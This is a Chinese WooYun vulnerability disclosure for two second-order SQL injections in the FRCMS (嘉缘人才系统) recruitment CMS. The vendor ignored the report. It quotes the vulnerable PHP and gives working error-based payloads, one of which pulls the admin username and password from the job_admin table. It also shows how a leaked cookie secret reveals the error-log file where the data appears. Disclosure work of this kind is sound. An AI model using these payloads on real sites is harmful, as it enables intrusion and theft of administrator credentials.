当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101044

漏洞标题:嘉缘人才系统两处sql注入打包(直接出数据)

相关厂商:finereason.com

漏洞作者: 牛肉包子

提交时间:2015-03-13 11:33

修复时间:2015-06-16 11:35

公开时间:2015-06-16 11:35

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-12: 细节向核心白帽子及相关领域专家公开
2015-05-22: 细节向普通白帽子公开
2015-06-01: 细节向实习白帽子公开
2015-06-16: 细节向公众公开

简要描述:

最新版
20150126

详细说明:

看到\frcms\member\company_myexpert.php

elseif($do=='myexpert'){
if($Glimit[1]<0){showmsg('您所在的会员组您无权使用人才库!',"-1",0,2000);exit();}
require_once(FR_ROOT.'/inc/paylog.inc.php');
$checksnum=count(explode(',',$checks));
//var_dump($uinfo['m_name']);
//exit;
if($Glimit[1]&&$uinfo['limit'][11]<$checksnum){showmsg('您的人才库可用数量不足,请返回重新选择!',"-1",0,2000);exit();}
if($checks!=''){
$sql="select r_id,r_name,r_sex,r_birth,r_edu,r_member from {$cfg['tb_pre']}resume where r_id in ($checks) order by r_adddate desc limit 0,$checksnum";
$query=$db->query($sql);
$i=0;
while($row=$db->fetch_array($query)){
$rsd = $db->get_one("select * from {$cfg['tb_pre']}myexpert where m_pmember='$row[r_member]' and m_cmember='$username' and m_rid=$row[r_id] limit 0,1");
if(!$rsd){
$db ->query("INSERT INTO {$cfg['tb_pre']}myexpert (m_rid,m_name,m_sex,m_birth,m_edu,m_cmember,m_pmember,m_adddate,m_exp) VALUES('$row[r_id]','$row[r_name]','$row[r_sex]','$row[r_birth]','$row[r_edu]','$username','$row[r_member]',NOW(),1)"); //注入一
$i++;
//添加会员交互记录
adddynamic($Memberid,$uinfo['m_name'],2,8,$row['r_id'],$row['r_name'],5);//注入二


跟进adddynamic

function adddynamic($mid,$name,$typeid,$operation,$bid,$bname,$type){
global $cfg,$db;
$db->query("INSERT INTO {$cfg['tb_pre']}dynamic(`d_mid`,`d_name`,`d_typeid`,`d_operation`,`d_bid`,`d_bname`,`d_type`,`d_time`) VALUES('$mid','$name','$typeid','$operation','$bid','$bname','$type',NOW())");


第一处
首先注册一个用户,然后新建一份简历,抓包把简历名修改为

' or updatexml(1,concat(0x7e,(version())),0) or'


13.png


并且记录rid的值,这里我们的rid值为7。然后注册一个企业用户。
访问

http://127.0.0.1/frcms/member/index.php?m=company_myexpert&do=myexpert&checks=7


可以发现mysql报错了。

14.png


发现mysql报错了,这cms会把错误记录到一个文件里面。如下代码实现

function log_write($message, $type = 'php') {
global $cfg, $fr_time, $username;
$userip = getip();
$fr_time or $fr_time = time();
$user = $username ? $username : 'guest';
dir_create(DATA_ROOT.'/log/');
$log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt';
$log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&amp;', $_SERVER['QUERY_STRING'])."||$message\r\n";
$olog=file_get_contents($log_file);
fputs(fopen($log_file,"w"), $log.$olog);
}


主要是要获取到$cfg['cookie_encode']这个值,然后就可以找到这个文件了。
我们可以看到在最新版cookie是这样设置的。

function _setcookie($var, $value = '', $time = 0) {
global $cfg, $fr_time;
$time = $time > 0 ? $fr_time+$time : (empty($value) ? $fr_time - 3600 : 0);
$port = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
$var = $cfg['cookie_pre'].$var;$value&&$value=base64_encode($value.$cfg['cookie_encode']);
return setcookie($var, $value, $time, $cfg['cookie_path'], $cfg['cookie_domain'], $port);
}


可以看到这儿就泄露了。
然后可以得到$cfg['cookie_encode'])为SgZQd3305V,
日志文件路径为

http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt


15.png


第二处
首先注册一个企业用户,抓包把公司名修改为

'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)# or

16.png


然后任意访问一份简历,可以发现报错

21.png


用同样的方法找到文件,可以看到数据已经出现了。

22.png

漏洞证明:

15.png


22.png

修复方案:

出库后转义

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-16 11:35

厂商回复:

最新状态:

暂无


漏洞评价:

评论